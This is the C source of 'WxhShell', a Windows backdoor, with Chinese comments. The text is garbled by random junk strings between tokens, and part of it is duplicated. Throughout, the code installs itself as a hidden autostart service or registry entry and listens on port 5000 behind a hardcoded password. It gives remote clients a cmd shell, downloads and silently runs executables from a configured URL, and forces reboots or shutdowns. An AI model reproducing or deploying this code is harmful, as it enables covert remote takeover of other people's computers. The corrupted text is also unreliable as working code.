"GetModuleBaseNameA"); 5?MvO]_ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <|iU+.j\ ')V5hKb^ if (!NtQueryInformationProcess) return 0; -y(V- B=Os?'2[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0]~n8mB> if(!hProcess) return 0; .Ps;O XN;eehB?aE if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; H !u:P?j@\ 8=9sIK2 CloseHandle(hProcess); ]FBfh.#X@ c`QsKwa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U\{Z{F%8 if(hProcess==NULL) return 0; ENzeVtw0 =qvU9p2o HMODULE hMod; z wW9>Y char procName[255]; xWm'E2 unsigned long cbNeeded; H5{J2M,f wSMgBRV#^ if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); CHB{P\WF "/"k50% CloseHandle(hProcess); ='j Z5=!R$4 if(strstr(procName,"services")) return 1; // 以服务启动 V'$
eun |&Q=9H*e return 0; // 注册表启动 {cA )jW\' } L8J/GVmj }2@$2YR[ // 主模块 :O%O``xT int StartWxhshell(LPSTR lpCmdLine) 4E)[<% { e1-=|!U7# SOCKET wsl; y=Hl ~ev`9 BOOL val=TRUE; 7>LhXC int port=0; J:(l& struct sockaddr_in door; Cu]X&l n'H\*9t if(wscfg.ws_autoins) Install(); L%"Mp(gZ "e"`Or port=atoi(lpCmdLine); S}/CzQ S}E@*t2h if(port<=0) port=wscfg.ws_port; d?mdw
?| j;
C(:6#J WSADATA data; Nvi14,q/ if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4C:YEX~ Q8n?7JB if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ~gc)Ww0(Q setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); {~"=6iyj door.sin_family = AF_INET; oCrn door.sin_addr.s_addr = inet_addr("127.0.0.1"); +l9avy+P( door.sin_port = htons(port); l
O^h)hrR V4H+m,R if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @b
zrJ7$ closesocket(wsl); MqqS3
return 1; a#1X)ot } h:;~)= {"X Ub$$wOsf if(listen(wsl,2) == INVALID_SOCKET) { u@HP@>V closesocket(wsl); vIJdl2(^E return 1; -*EJj>x } `@&qf}` Wxhshell(wsl); N%a[Y
WSACleanup(); @&+
1b= <3bh-) return 0; K02./ut- 2gGJ:,RC$ } cg~FW2Q U
uysG\ // 以NT服务方式启动 -h_v(s2 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) #E1*1E { 5c#L6 dA) DWORD status = 0; K^S#?T|[9 DWORD specificError = 0xfffffff; k[p F-Ea85/K@4 serviceStatus.dwServiceType = SERVICE_WIN32; Oq("E(z+f serviceStatus.dwCurrentState = SERVICE_START_PENDING; 7\xa_nrI serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; a
AuQw serviceStatus.dwWin32ExitCode = 0; !ZVMx*1Cf serviceStatus.dwServiceSpecificExitCode = 0; Y5
dt?a serviceStatus.dwCheckPoint = 0; }?JO[Q + serviceStatus.dwWaitHint = 0; Q pX@;j rcK*",> hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); }Z6/b
_kV if (hServiceStatusHandle==0) return; ?|33Np) ~-6;h.x= status = GetLastError(); E(oNS\4 if (status!=NO_ERROR) `u U@( { Rg6>6.fk* serviceStatus.dwCurrentState = SERVICE_STOPPED; 1pK7EK3R serviceStatus.dwCheckPoint = 0; nxt1Y04,H serviceStatus.dwWaitHint = 0; 7 mN?;X33 serviceStatus.dwWin32ExitCode = status; )mEF_ & serviceStatus.dwServiceSpecificExitCode = specificError; uzo}?X# SetServiceStatus(hServiceStatusHandle, &serviceStatus); $lqV(s return; jmIP c3O0 } QNo}nl/N <L-L}\-I" serviceStatus.dwCurrentState = SERVICE_RUNNING; P(4[<'HO serviceStatus.dwCheckPoint = 0; O ?4V($ serviceStatus.dwWaitHint = 0; Q,$x6YwE if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;i]cmy } R
Q8okA 5s>9v // 处理NT服务事件,比如:启动、停止 /~yqZD<O VOID WINAPI NTServiceHandler(DWORD fdwControl) &jJgAZ! { q\,H9/.0k switch(fdwControl) T:ck/:ZH { 5HU>o|. case SERVICE_CONTROL_STOP: 2{&" 3dq serviceStatus.dwWin32ExitCode = 0; $=bN=hE serviceStatus.dwCurrentState = SERVICE_STOPPED; pUmB
h serviceStatus.dwCheckPoint = 0; yE7pCgXt serviceStatus.dwWaitHint = 0; Np<Aak { ^Z!W3q Q SetServiceStatus(hServiceStatusHandle, &serviceStatus); I/tzo(r } jsR1jou6 return; \ Q6Ip@? case SERVICE_CONTROL_PAUSE: K!9=e7|P serviceStatus.dwCurrentState = SERVICE_PAUSED; 34U~7P
r9 break; >#ou8}0 case SERVICE_CONTROL_CONTINUE: __9673y serviceStatus.dwCurrentState = SERVICE_RUNNING; 8,R]R= break; *w _j; case SERVICE_CONTROL_INTERROGATE: _)|!.r&)63 break; 1/i| }; K.%E=^~q SetServiceStatus(hServiceStatusHandle, &serviceStatus); :J"e{|g', } HCu1vjU(] UYPBKf]A9 // 标准应用程序主函数 MMf6QxYf int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) z TK { <.<Nw6 >GcFk&x // 获取操作系统版本 x6,RW],FGR OsIsNt=GetOsVer(); 1w5nBVC*$V GetModuleFileName(NULL,ExeFile,MAX_PATH); Ip4~qGJ LP\ Qwj{ // 从命令行安装 @6gz)
p if(strpbrk(lpCmdLine,"iI")) Install(); U*b SM8)L* HDaec`j // 下载执行文件 L}9@kjW if(wscfg.ws_downexe) { c.~|)^OXXO if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) J+TYm%A;- WinExec(wscfg.ws_filenam,SW_HIDE); Qknd ^% } i et|\4A +LyhF2 if(!OsIsNt) { 1a'JNe$ // 如果时win9x,隐藏进程并且设置为注册表启动 &Ls0!dWC HideProc(); RI`A<*>w StartWxhshell(lpCmdLine); ^R\blJQ<^ } 4?&=H
*H: else OT [t
EqQ if(StartFromService()) K'tz_:d| // 以服务方式启动 -L[K1;Xv" StartServiceCtrlDispatcher(DispatchTable); bw4b'9cK else 0'~?u ' // 普通方式启动 M$GD8|*e StartWxhshell(lpCmdLine); Dn@ n:m o ).pF">jh return 0; U` U/|@6 } QZ`<+"a0 N@VD-}E 5
9X|l&/ -LY_7Kg =========================================== ^TjFR*S'E <omz9d1 m/ukH{H1% c{<3\ |joGrWv4 ZDb`]c4( " $?A]!Y; ufo?ZFq@$L #include <stdio.h> 'ZJ6p0 #include <string.h> u+V;r)J{ #include <windows.h> <(iOzn #include <winsock2.h> #:yZJS9f9 #include <winsvc.h> nO/5X>A,Zw #include <urlmon.h> <@yyx7 vxgm0ZOMN #pragma comment (lib, "Ws2_32.lib") ~\^8
^ #pragma comment (lib, "urlmon.lib") rB)WHx< uZ^i8;i #define MAX_USER 100 // 最大客户端连接数 I2 Kb.`'! #define BUF_SOCK 200 // sock buffer nMnc&8r #define KEY_BUFF 255 // 输入 buffer 9xz`V1mIL D^u{zZy@e #define REBOOT 0 // 重启 F lZ]R #define SHUTDOWN 1 // 关机 2.[qcs3zl V^ :\/EU #define DEF_PORT 5000 // 监听端口 DXiD>1(q zf!c #define REG_LEN 16 // 注册表键长度 WX[ycm8 #define SVC_LEN 80 // NT服务名长度 qkEy$[D9 gV7o
eZ5 // 从dll定义API q8D1MEBL` typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); [brrziZ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); @!S$gTz typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EAI[J&c typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); +2g3%c0} zPXd]jIwV // wxhshell配置信息 iO@wqbg$6 struct WSCFG { ^Nu} HcC+ int ws_port; // 监听端口 (UM+?]Qwy char ws_passstr[REG_LEN]; // 口令 #i,O
"`4 int ws_autoins; // 安装标记, 1=yes 0=no v:>P;\]r9M char ws_regname[REG_LEN]; // 注册表键名 8 2qe|XD4p char ws_svcname[REG_LEN]; // 服务名 f6#H@
X char ws_svcdisp[SVC_LEN]; // 服务显示名 Ju\"l8[f char ws_svcdesc[SVC_LEN]; // 服务描述信息 NX;&V7 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HT]ubw]rJ int ws_downexe; // 下载执行标记, 1=yes 0=no M(BZ<,9V char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" $@xkKe" char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z/x1?{z 9D<HJ( }; <uvshZv ovohl<o\ // default Wxhshell configuration |j+~Td3})& struct WSCFG wscfg={DEF_PORT, ieI-_]|[ "xuhuanlingzhe", H~@h
#6 1, WIghP5% W "Wxhshell", :Ls36E8f= "Wxhshell", BpC Sf.zZ "WxhShell Service", 5J;c;PF "Wrsky Windows CmdShell Service", 'UyL%h;nJ "Please Input Your Password: ", n*1UNQp@]O 1, 4D13K.h`O "http://www.wrsky.com/wxhshell.exe", Px8E~X<@ "Wxhshell.exe" BCbW;w8aI }; /[s$A? u"%fz8v // 消息定义模块 )\(pDn$W char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G$j8I~E@ char *msg_ws_prompt="\n\r? for help\n\r#>"; *G^]j
)/ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *+AP}\p0F char *msg_ws_ext="\n\rExit."; \
C^D2Z6 char *msg_ws_end="\n\rQuit."; (}:xs,Ax char *msg_ws_boot="\n\rReboot..."; GZ={G2@=I char *msg_ws_poff="\n\rShutdown..."; ".\(A f2 char *msg_ws_down="\n\rSave to "; |?>h$' tu'M YY char *msg_ws_err="\n\rErr!"; >O _ char *msg_ws_ok="\n\rOK!"; X]!@xlwF\ $W]bw#NH char ExeFile[MAX_PATH]; !xI![N^ int nUser = 0; =Vs<DO{|4q HANDLE handles[MAX_USER]; rXPXO=F1/ int OsIsNt; 4pqZ!@45| J$;)TI SERVICE_STATUS serviceStatus; 8'_Y=7b0Nw SERVICE_STATUS_HANDLE hServiceStatusHandle; p!ErH]lH wu')Q/v // 函数声明 *QG;KJ% int Install(void); zMKL: Um" int Uninstall(void); =Ug_1w int DownloadFile(char *sURL, SOCKET wsh); B^9 #X5! int Boot(int flag); EMG*8HRI>r void HideProc(void); H~Cfni; int GetOsVer(void); [_d*J/ X int Wxhshell(SOCKET wsl); keOW{:^i void TalkWithClient(void *cs); BE~[%6T7 int CmdShell(SOCKET sock); *$VurqLn int StartFromService(void); fsd>4t:"\ int StartWxhshell(LPSTR lpCmdLine); bSLj-vp ]Ho`*$dD VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); j`B{w VOID WINAPI NTServiceHandler( DWORD fdwControl ); }^7V^W / 5Loj&!= // 数据结构和表定义 ; \+0H$ SERVICE_TABLE_ENTRY DispatchTable[] = x(=x;X$[^ { -::%9D}P| {wscfg.ws_svcname, NTServiceMain}, LnS>3$t* {NULL, NULL} lvi:I+VgA }; avu,o 8
-A7 // 自我安装 bl_WN|SQ int Install(void) ~b0qrjF;O { i&)C, char svExeFile[MAX_PATH]; 2]=I'U<E! HKEY key; @~3c"q;i7 strcpy(svExeFile,ExeFile); dRm'$
G9 j*d~h$[k // 如果是win9x系统,修改注册表设为自启动 ^~ $& if(!OsIsNt) { "|`9{/] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { X>7]g670@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); \*aLyyy3 RegCloseKey(key); <|3v@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
@l Gn G RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XWpnZFjE RegCloseKey(key); ^1=|(Z/ return 0; +Q31K7G r } y$o=\: } pVS2dwBqE } ^]&{"! else { 9PK-r;2 \/'n[3x // 如果是NT以上系统,安装为系统服务 5C1Rub) SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K"j=_%{ if (schSCManager!=0) 9dtGqXX { &> .1%x@R SC_HANDLE schService = CreateService @;D}=$x ( :b*`hWnQ schSCManager, Z[u,1l.T wscfg.ws_svcname, K/v-P <g wscfg.ws_svcdisp, 1Z8Oh_DC SERVICE_ALL_ACCESS, O'|P| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Q|*xd4B^ SERVICE_AUTO_START, UMQW#$~C{g SERVICE_ERROR_NORMAL, 3}{5
X' svExeFile, I A#*T` NULL, e uHu} NULL, O>M*mTM NULL, R(N(@KC NULL, % W',c u NULL R+VLoz*J6 ); \Rqh|T<D if (schService!=0) fhIj+/{_O {
I S8nvx\ CloseServiceHandle(schService); 0nq}SH CloseServiceHandle(schSCManager); V,"iMo strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); }9udo,RWu strcat(svExeFile,wscfg.ws_svcname); vLFaZ^( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { i2a"J&,6O RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m4SXH> o RegCloseKey(key);
i~B@(, return 0; 4O_+4yS } ro^6:w3O^ } %iL@:'?K CloseServiceHandle(schSCManager); 6(^Upk=59 } +<WRB\W } FWpN:|X BS u4,X.3V]A return 1; ?V)C9@bp } @23RjoK kH8$nk eev // 自我卸载 5 (21gW9 int Uninstall(void) #w,WwL! { A6UdWK HKEY key; g[wP!y%V {I9N6BQ& if(!OsIsNt) { u->@|tEq if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kV:FJx0xP RegDeleteValue(key,wscfg.ws_regname); F'>GN}n RegCloseKey(key); (\mulj if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @Tfwh/UN RegDeleteValue(key,wscfg.ws_regname); e8ULf~I RegCloseKey(key); ICl_ eb return 0; 0qL
V(L } aEEz4,x_ } A|taP$% } 2c"N-c&A else { A
eGG _/jUs_W SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); jW1YTQ if (schSCManager!=0) >FY&-4+v { qb-2QPEB SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); RQo$iISwy if (schService!=0) $d2kHT { {8{t]LK< if(DeleteService(schService)!=0) { 8_<&f%/ CloseServiceHandle(schService); esh$*)1 CloseServiceHandle(schSCManager); a81!~1A return 0; ^x_ >r6 } ;zZ ,3pl-E CloseServiceHandle(schService); ovQS
ET18b } >w2Q1! CloseServiceHandle(schSCManager); (zS2Ndp } ^.@yF;H } |C$:]MZx i?a,^UM5n[ return 1; (0OSGG9 } oN[Fz a> 95$pG/o // 从指定url下载文件 @zr8%8n int DownloadFile(char *sURL, SOCKET wsh) o<D3Y95b { 7wiK.99 HRESULT hr; Q\o$**+{ char seps[]= "/"; l$qStL*8O char *token; YeRcf` char *file; }>{ L#JW char myURL[MAX_PATH]; om".j char myFILE[MAX_PATH]; :kME ){O1&|z- strcpy(myURL,sURL); FX|0R#4vm token=strtok(myURL,seps); /'Quu)~ while(token!=NULL) B@cJ\ { `d}W;&c file=token; JHvFIo token=strtok(NULL,seps); >vD['XN, } |u^)RB kf+JM/ GetCurrentDirectory(MAX_PATH,myFILE); pG,<_N@P strcat(myFILE, "\\"); kF(Ce{;z strcat(myFILE, file); 457fT | send(wsh,myFILE,strlen(myFILE),0); @DfkGm[% send(wsh,"...",3,0); Jj=yG"$! hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U9<_6Bsd if(hr==S_OK) *C4~}4WT\ return 0; 9USrgY6_ else <KHv|)ak return 1; _, \y2&KT <)_:NRjBF& } }x:\69$ vn|TiZ // 系统电源模块 }Q`/K;yq int Boot(int flag) &e%{k@ { E=;BI">. HANDLE hToken; eZynF<i TOKEN_PRIVILEGES tkp;
AGh~8[ 8'3"uv if(OsIsNt) { $|Q".dD OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D8k*0ei& LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |*%/ovg+ tkp.PrivilegeCount = 1; OF-E6b c tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ~@%(RMJm& AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C}Rs[ if(flag==REBOOT) { z8g=;>< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) btUq return 0; ;rNd701p" } `!zQ else { n)tU9@4Np if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) B:e.gtM5 return 0; vAi"$e } vz6SCGg, } JR/W9i else { ktN%!Mh\ if(flag==REBOOT) { kclp} if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XlRw Z/Wc return 0; W7%p^;ZQ$ } zs4>/9O else { P`}$-#D F if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pg7>ce return 0; xy2\'kS`G } {V.Wk } Z/xV\Ggx MO[c0n% return 1; /^d. &@* } y= 2=DU 5RW@_%C // win9x进程隐藏模块 s5Pq$< void HideProc(void) b([:,T7 { y^9bfMA S<V-ZV&_:U HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); <BZ_ (H if ( hKernel != NULL ) 1d`cTaQ- { Ny[QT*nV pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (viWY ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); =ntftSH FreeLibrary(hKernel); j(&GVy^;? } HB%K|&!+ QQ*gFP.Ao return; 6j_ 678 } ol50d73B :
-E, // 获取操作系统版本 iA]DE`S int GetOsVer(void) 'Cg V0&@ { aUAcRW OSVERSIONINFO winfo; D2{L= winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 2v4W6R GetVersionEx(&winfo); I<sfN'FpT if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) TFo}\B7 return 1; )GK+ else !-7_ +v> return 0; \]t]#D>0 } 5~QhX22 ;r3}g"D@ // 客户端句柄模块 )Q~C4 C-j int Wxhshell(SOCKET wsl) xF&6e&nv { ]}.0el{ SOCKET wsh; VXA[TIqp struct sockaddr_in client; f#1/}Hq/I DWORD myID; {y1q7Z.M b(/j\NWC while(nUser<MAX_USER) [M`=HhJ4 { d<!IGt4Ky int nSize=sizeof(client); sp^Wo7&g wsh=accept(wsl,(struct sockaddr *)&client,&nSize); UAdz-)$ if(wsh==INVALID_SOCKET) return 1; |4Qx=x> p:Oz<P handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); -'j7SOGk if(handles[nUser]==0) eap8*ONl closesocket(wsh); (nq^\ZdF else _p0)vT nUser++; @$oZ|ZkZ } 0iF -}o WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ndqckT@93 eIsT!V"7 return 0; )Z("O[ } p=H3Q?HJ} 4oV
{=~V // 关闭 socket Q<1L`_.> void CloseIt(SOCKET wsh) Gy9
$Wj { a#$N% =j closesocket(wsh); qIz}$%!A nUser--; ^,`M0g\$ ExitThread(0); S#mK
Pi+3 }
f\ 'T_ i@XB&;*c\ // 客户端请求句柄 P<vo;96JT void TalkWithClient(void *cs) vTHq)C.7G { Z&-tMai; 1\y@E SOCKET wsh=(SOCKET)cs; w763zi{ char pwd[SVC_LEN]; !j0_
cA char cmd[KEY_BUFF]; [3kl^TE char chr[1]; +mLD/gK` int i,j; Jr]gEBX *!w25t while (nUser < MAX_USER) { >nK%^T TtZ}"MPZ if(wscfg.ws_passstr) { $R?@L if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IkQe~;Y //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _$5@uL{n"^ //ZeroMemory(pwd,KEY_BUFF); `w+1C&>^[ i=0; ioWo ] while(i<SVC_LEN) { l~D\;F .;g}%C // 设置超时 Lc%xc`n8B fd_set FdRead; e^8BV;+c struct timeval TimeOut; ?2ItTrlB FD_ZERO(&FdRead); (-(QDRxK FD_SET(wsh,&FdRead); Gc'M[9Mh TimeOut.tv_sec=8; lH6fvz TimeOut.tv_usec=0; AuXs B int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); W~yLl% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s&VOwU D"!jbVz]* if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l|q%%W0 pwd=chr[0]; 7h`^N5H.q if(chr[0]==0xd || chr[0]==0xa) { '60//"9>k/ pwd=0; `;cz;" break; :3O5ET'1 } KUFz:&wK i++; G|*G9nQ } XXm'6xD- bcn7,ht // 如果是非法用户,关闭 socket bb1f/C% if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); #q;z8 @ } |z*>ixK , D"]y~~I5 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); #w|5jN? send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "mA1H]r3 Zi*%*nX while(1) { Oyan9~ |IN[uQ ZeroMemory(cmd,KEY_BUFF); 1'fb
@vO QD4:W"i // 自动支持客户端 telnet标准 Du!._ j=0; %Kl(>{N while(j<KEY_BUFF) { /[{auUxSX if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); I .P6l*$ cmd[j]=chr[0]; NbkK&bz if(chr[0]==0xa || chr[0]==0xd) { ;A"\?i Q cmd[j]=0; dp<$Zw8BE break; vBoO'l9'M } 9yL6W'B! j++; `ET& VV } oM-[B h]A O aaH$B // 下载文件 D5L{T+}Oi% if(strstr(cmd,"http://")) { i*CnoQH send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5\'AD^{ if(DownloadFile(cmd,wsh)) d.AC%&W send(wsh,msg_ws_err,strlen(msg_ws_err),0); :,~K]G else Ww`&i send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (f>M &.. } Z&Pu8zG
/m else { cmDT
+$s +`}o,z/^ switch(cmd[0]) { N2FbrfNFa ;s_"{f`Y6 // 帮助 1tGgDbJU case '?': { MI*Sq\-i send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); !y[3]8Xxv break; u"Y]P*[k } 0OWL // 安装 Hi8Y6|y$D case 'i': { vyU!+mlc if(Install()) W.[BPR send(wsh,msg_ws_err,strlen(msg_ws_err),0); DFy1 bg else !_x*m@/ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); n&d/?aJ7a\ break; Nog(VN4I& } zPE$ // 卸载 mb{q(WEPP case 'r': { YgimJsm if(Uninstall()) ~ffwLgu!
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Mudrg[@` else JA6";fl; send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -;Uj|^ break; eaAPKx } _#pnjo // 显示 wxhshell 所在路径 1~Mn'O% case 'p': { y6%<zhs char svExeFile[MAX_PATH]; #PFO]j!_b strcpy(svExeFile,"\n\r"); D^?_"wjW strcat(svExeFile,ExeFile); Pa&4)OD send(wsh,svExeFile,strlen(svExeFile),0); u)~s4tP4 break; 9rcI+q=E
} Y[G9Vok
VX // 重启 6fGK(r case 'b': { .NnGVxc5* send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); uJ8{HB if(Boot(REBOOT)) -J?~U2 send(wsh,msg_ws_err,strlen(msg_ws_err),0); iN)af5)[^ else { Y/lN@ closesocket(wsh); 9@y3IiZ"} ExitThread(0); 6+PGwCS } (h,Ws-O break; <L&eh&4c } F,pCR7o> // 关机 ;k}H(QI case 'd': { ~L'nzquF send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); f#OQ (WTJE if(Boot(SHUTDOWN)) /gw Cwyo send(wsh,msg_ws_err,strlen(msg_ws_err),0); i@,]Z~] else { 0p3vE,pF closesocket(wsh); <[hz?:G"$ ExitThread(0); &yLc1#H } @]?R2bI break; aU(tu2 } H.~bD[gA // 获取shell 3_zSp.E\l case 's': { D9o*8h2$ CmdShell(wsh); qjLo&2) closesocket(wsh); aQ|hi F} ExitThread(0); 8*Zvr&B,G break; 4bI*jEc\[ }
~6d5zI4\ // 退出 F$yeF^\g case 'x': { [Vp\$;\nT send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Le&;g4% CloseIt(wsh); T 2|:nC)@ break; ML=z<u+ } ^:z7E1~ // 离开 f3&/r case 'q': { ) b:4uK
A send(wsh,msg_ws_end,strlen(msg_ws_end),0); 5f_7&NxT closesocket(wsh); @vAFfYU9<. WSACleanup(); b n-=fb( exit(1); sTOFw;v% break; hdj%|~Fj } MaErx\ } WG%2<Q^ } &+- e n7DLJ`ho{ // 提示信息 2AK}D%jfc if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #r}uin*jD } =v0~[E4 } Fu##'# -u~eZ?(!Ye return; /qXzOd } z2~87fv+ ZNL5({lv // shell模块句柄 bNs[O22 int CmdShell(SOCKET sock) ke6n/ h5` { g;G5 r&T STARTUPINFO si; 6b#~; ZeroMemory(&si,sizeof(si)); s<VJ`Ur si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; LyP`{_"CM si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a}yR p PROCESS_INFORMATION ProcessInfo; OjATSmZ@@ char cmdline[]="cmd"; FmI;lVF0j CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <kbnu7?a* return 0; q+%!<]7X } UkfA}b^@v b1)\Zi // 自身启动模式 v,0<9!'v int StartFromService(void) })7K S? { /7vE>mSY typedef struct 0WXVc { **HrWM%?8o DWORD ExitStatus; !NA`g7' DWORD PebBaseAddress; L*^
V5^- DWORD AffinityMask; .vaJ Avg DWORD BasePriority; 5!h<b3u>] ULONG UniqueProcessId; NWnWk ULONG InheritedFromUniqueProcessId; C P&o%Uc* } PROCESS_BASIC_INFORMATION; )_Iz>) {aIZFe}B PROCNTQSIP NtQueryInformationProcess; 3'^S3W% ?i%nMlcc static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; b9#m m static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; JV%nH!Fs zq=&4afOE HANDLE hProcess; DKHM\yt PROCESS_BASIC_INFORMATION pbi; U'M|=I' Bac| ;+L~L HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T 9MzUV& if(NULL == hInst ) return 0; UM\}aq=, # JFYws g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'M-)Os" g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |D+p$^L NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }VZM,.w 6>uQt:e if (!NtQueryInformationProcess) return 0; 453
}S
@ExLh9 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zzE]M}s if(!hProcess) return 0; c/RT0xql* tvCcyD%w if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; -R8/`M8GbD //tT8HX CloseHandle(hProcess); =h7[E./U1 mF~ys{"t hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); )@,N7Y1h if(hProcess==NULL) return 0; MYu`c[$jZ W1`Dx(g HMODULE hMod; "u5KbJW char procName[255]; 8=pv/o unsigned long cbNeeded; 8W@dtZ,d yWmrdvL if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 9BO|1{ ,3k@L\$.x CloseHandle(hProcess); 0}D-KvjyP HoL~j( { if(strstr(procName,"services")) return 1; // 以服务启动 y:C)%cv}* L9$&-A9ix return 0; 